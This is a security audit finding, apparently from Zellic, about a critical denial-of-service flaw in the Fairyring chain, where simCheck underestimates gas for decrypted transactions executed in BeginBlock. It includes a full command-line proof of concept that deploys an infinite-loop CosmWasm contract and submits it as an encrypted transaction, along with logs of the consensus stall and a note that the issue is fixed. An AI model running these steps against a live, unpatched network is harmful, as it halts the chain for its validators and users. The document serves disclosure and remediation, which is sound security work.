Assessment reports>Fairyring>Critical findings>DOS vulnerability from inaccurate gas estimation in ,BeginBlock, via ,simCheck
Category: Business Logic

DOS vulnerability from inaccurate gas estimation in BeginBlock via simCheck

Critical Severity
Critical Impact
High Likelihood

Description

In the Fairyring project code, decryptAndExecuteTx uses simCheck to calculate the gas consumed by decrypted transactions and then deducts the corresponding fee:

   simCheckGas, _, err := am.simCheck(am.txConfig.TxEncoder(), txDecoderTx)
// We are using SimCheck() to only estimate gas for the underlying transaction
// Since user is supposed to sign the underlying transaction with Pep Nonce,
// is expected that we gets 'account sequence mismatch' error
// however, the underlying tx is not expected to get other errors
// such as insufficient fee, out of gas etc...
if err != nil && !strings.Contains(err.Error(), "account sequence mismatch") {
	am.processFailedEncryptedTx(ctx, eachTx, fmt.Sprintf("error while performing check tx: %s", err.Error()), startConsumedGas)
	return err
}

Typically, in the Cosmos SDK, transaction gas fees are automatically tracked and deducted during the DeliverTx phase. However, in the Fairyring code, decrypted transactions are processed in the BeginBlock phase, meaning the SDK's transaction context cannot be utilized to automatically calculate and deduct gas fees. This appears to be the reason for choosing simCheck as an alternative.

However, simCheck does not accurately reflect the actual gas consumption, as it does not truly execute the transaction; simCheck primarily runs checkTx, which only performs basic validation (such as AnteHandler and ValidateBasic() / Validate() functions). This is typically adequate for simpler messages with predictable gas consumption but not for more complex operations, especially when executing CosmWasm contracts, where actual gas usage can be significantly higher than estimated.

Impact

This issue could lead to a DOS vulnerability. For example, by crafting a message that calls a smart contract containing an infinite loop or a complex computation, an attacker could consume excessive resources, potentially causing the chain to become unresponsive. Since simCheck only estimates the gas, the actual execution cost is not fully captured, allowing the attacker to bypass accurate gas deductions and exploit the network's resources.

This scenario demonstrates how an attacker could leverage an infinite loop within a CosmWasm contract to cause a DOS attack on the network.

  1. Deploy the loop.wasm contract, which contains an infinite loop.

fairyringd tx wasm store loop.wasm -y --home devnet_data/fairyring_devnet --from wallet1 --keyring-backend test --chain-id fairyring_devnet --gas 2000000 --gas-prices 1ufairy
  1. Instantiate the loop.wasm contract on the Fairyring network.

fairyringd tx wasm instantiate 1 '{}' -y --home devnet_data/fairyring_devnet --from wallet1 --keyring-backend test --chain-id fairyring_devnet --admin wallet1 --label foo --gas-prices 1ufairy
  1. Query and retrieve the contract address for subsequent execution.

CONTRACT_ADDR=$(fairyringd q wasm list-contracts-by-code 1 --output=json | jq -r '.contracts[0]')
echo $CONTRACT_ADDR
  1. Create a transaction to execute the contract, which will trigger the infinite loop.

fairyringd tx wasm execute $CONTRACT_ADDR '{"identity": "", "pubkey": "", "decryption_key": ""}' -y --home devnet_data/fairyring_devnet --from wallet1 --keyring-backend test --chain-id fairyring_devnet --generate-only --gas-prices 1ufairy > execute_loop_unsigned.json
  1. Sign the generated transaction to make it ready for submission.

fairyringd tx sign execute_loop_unsigned.json --home devnet_data/fairyring_devnet --from wallet1 --keyring-backend test --chain-id fairyring_devnet > execute_loop.json
  1. Set the transaction to execute at a future block height. This step uses the latest chain height and adds 30 blocks.

TARGET_HEIGHT=$(($(fairyringd q pep latest-height -o json | jq -r '.height') + 30))
echo $TARGET_HEIGHT
  1. Encrypt the signed transaction, which will be decrypted and executed at the specified block height.

fairyringd encrypt $TARGET_HEIGHT '' "$(cat execute_loop.json)" --node tcp://localhost:26657 --home devnet_data/fairyring_devnet > execute_loop.hex
  1. Submit the encrypted transaction. This transaction will execute at the target height, attempting to run the contract with the infinite loop.

fairyringd tx pep submit-encrypted-tx $(cat execute_loop.hex) $TARGET_HEIGHT -y --home devnet_data/fairyring_devnet --from wallet1 --keyring-backend test --chain-id fairyring_devnet --gas-prices 1ufairy

Upon execution, the following log demonstrates the impact:

{"level":"info","module":"server","module":"consensus",
"dur":5000,"height":166,"round":0,"step":"RoundStepPropose",
"time":"2024-11-07T08:14:18Z","message":"Timed out"}
{"level":"info","module":"server","module":"pex","numOutPeers":0,
"numInPeers":0,"numDialing":0,"numToDial":10,
"time":"2024-11-07T08:14:26Z","message":"Ensure peers"}
{"level":"info","module":"server","module":"pex",
"time":"2024-11-07T08:14:26Z","message":"No addresses to dial. Falling back to seeds"}

This log indicates that the chain has become unresponsive due to executing the contract with an infinite loop, causing a time-out in the consensus process and stalling block production.

Recommendations

Replace or supplement simCheck with an accurate gas-metering mechanism that can fully execute and track the gas usage of decrypted transactions in BeginBlock. This would ensure that actual resource consumption aligns with gas deductions.

Remediation

This issue has been acknowledged by Fairblock Inc., and a fix was implemented in commit 5b830510.

Zellic © 2025Back to top ↑